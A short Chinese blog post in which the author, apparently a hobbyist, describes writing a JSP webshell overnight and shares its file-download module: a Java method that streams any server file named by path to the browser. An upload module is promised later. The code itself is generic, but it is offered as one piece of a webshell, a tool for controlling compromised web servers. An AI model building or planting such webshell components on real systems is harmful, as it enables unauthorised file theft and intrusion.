昨晚写JSP WEBSHELL 写到凌晨3点钟~~完成了N多个模块了!呵呵本来打算来写写日志的!但是sohu登陆不了~算了 去睡了一觉 现在10点多才来写日志~ 呵呵!之前写ASPSHELL 写到吐血...不过做好了框架 以后写webshell都按那个框架 就不难了~ 现在给出 jspwebshell 的文件下载模块代码
void downFile(String filename,HttpServletResponse res)throws Exception{
int w=0;
byte[] buffer=new byte[256];
byte[] b=(new File(filename)).getName().getBytes("gb2312");//设置文件名编码
String outFile=new String(b,"ISO-8859-1");
res.reset();//清空缓冲
res.setHeader("Content-disposition","attachment;filename=/""+outFile+"/"");//报头
ServletOutputStream sos=res.getOutputStream();
BufferedInputStream bis=null;
try{
bis=new BufferedInputStream(new FileInputStream(filename));
while((w=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,w);
}//以上为循环想浏览器写入字节
}catch(Exception e){
}finally{
if(bis!=null)bis.close();//关闭流
}
sos.flush();
res.flushBuffer();
}
是不是比较简单呢? 呵呵!迟点给出上传代码~